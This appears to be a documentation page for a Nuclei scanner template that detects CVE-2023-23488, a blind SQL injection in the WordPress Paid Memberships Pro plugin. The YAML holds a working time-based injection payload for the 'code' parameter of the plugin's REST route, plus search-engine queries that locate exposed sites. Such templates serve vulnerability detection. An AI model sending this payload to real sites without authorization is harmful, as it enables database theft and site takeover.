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WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection

ID: CVE-2023-23488

Severity: critical

Author: dwisiswant0

Tags: time-based-sqli,cve2023,cve,paid-memberships-pro,wordpress,tenable,packetstorm,wp-plugin,sqli,wp,strangerstudios

Description

Section titled “Description”

WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the ‘code’ parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2023-23488


info:
  name: WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection
  author: dwisiswant0
  severity: critical
  description: |
    WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the 'code' parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Paid Memberships Pro version 2.9.8 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-2
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23488
    - http://packetstormsecurity.com/files/171661/WordPress-Paid-Memberships-Pro-2.9.8-SQL-Injection.html
    - https://github.com/CVEDB/PoC-List
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23488
    cwe-id: CWE-89
    epss-score: 0.05363
    epss-percentile: 0.93093
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: time-based-sqli,cve2023,cve,paid-memberships-pro,wordpress,tenable,packetstorm,wp-plugin,sqli,wp,strangerstudios


http:
  - raw:
      - |
        @timeout: 30s
        GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - duration_1>=7
          - status_code_1 != 403 # Wordfence
          - contains(body_2, "pmpro_updates")
        condition: and
# digest: 4b0a00483046022100e53536114acc715ac63c99ed3eb796bc87be9395a875cd05ad65acd06bc73dc50221008b9f786e332dd3d154a4684f18dc91e195cecbc4e80763948ada31e0b83b5fe1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-23488.yaml"

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